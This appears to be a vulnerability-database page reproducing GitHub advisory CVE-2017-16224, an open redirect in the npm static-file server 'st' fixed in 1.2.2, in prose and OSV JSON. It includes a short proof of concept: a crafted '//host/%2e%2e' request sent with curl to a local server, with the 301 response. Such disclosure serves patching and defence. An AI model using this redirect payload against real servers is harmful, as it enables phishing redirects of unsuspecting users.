GHSA-72FG-JQHX-C68P
Vulnerability from github – Published: 2018-08-06 21:33 – Updated: 2023-09-11 18:37
VLAI?
Summary
Open Redirect in st
Details
st is a module for serving static files.
An attacker is able to craft a request that results in an HTTP 301 (redirect) to an entirely different domain.
A request for: http://some.server.com//nodesecurity.org/%2e%2e would result in a 301 to //nodesecurity.org/%2e%2e which most browsers treat as a proper redirect as // is translated into the current schema being used.
Mitigating factor:
In order for this to work, st must be serving from the root of a server (/) rather than the typical sub directory (/static/) and the redirect URL will end with some form of URL encoded .. ("%2e%2e", "%2e.", ".%2e").
Code example (provided by Xin Gao):
[example.js]
var st = require('st')
var http = require('http')
http.createServer(st(process.cwd())).listen(1337)
$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
* Connection #0 to host localhost left intact
Recommendation
Update to version 1.2.2 or later.
Severity ?
6.1 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.1"
},
"package": {
"ecosystem": "npm",
"name": "st"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16224"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:20:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "st is a module for serving static files.\n\nAn attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain. \n\nA request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.\n\n**Mitigating factor:** \n\nIn order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` (\"%2e%2e\", \"%2e.\", \".%2e\"). \n\nCode example (provided by Xin Gao): \n\n[example.js]\n\n```js\nvar st = require(\u0027st\u0027) \nvar http = require(\u0027http\u0027) \nhttp.createServer(st(process.cwd())).listen(1337)\n```\n\n```shell\n$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e\n* Trying ::1...\n* TCP_NODELAY set\n* Connected to localhost (::1) port 1337 (#0)\n\u003e GET //cve.mitre.com/%2e%2e HTTP/1.1\n\u003e Host: localhost:1337\n\u003e User-Agent: curl/7.54.0\n\u003e Accept: */*\n\u003e\n\u003c HTTP/1.1 301 Moved Permanently\n\u003c cache-control: public, max-age=600\n\u003c last-modified: Fri, 13 Oct 2017 22:56:33 GMT\n\u003c etag: \"16777220-46488904-1507935393000\"\n\u003c location: //cve.mitre.com/%2e%2e/\n\u003c Date: Fri, 13 Oct 2017 22:56:41 GMT\n\u003c Connection: keep-alive\n\u003c Content-Length: 30\n\u003c\n* Connection #0 to host localhost left intact\n```\n\n\n## Recommendation\n\nUpdate to version 1.2.2 or later.",
"id": "GHSA-72fg-jqhx-c68p",
"modified": "2023-09-11T18:37:42Z",
"published": "2018-08-06T21:33:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16224"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-72fg-jqhx-c68p"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/547"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open Redirect in st"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…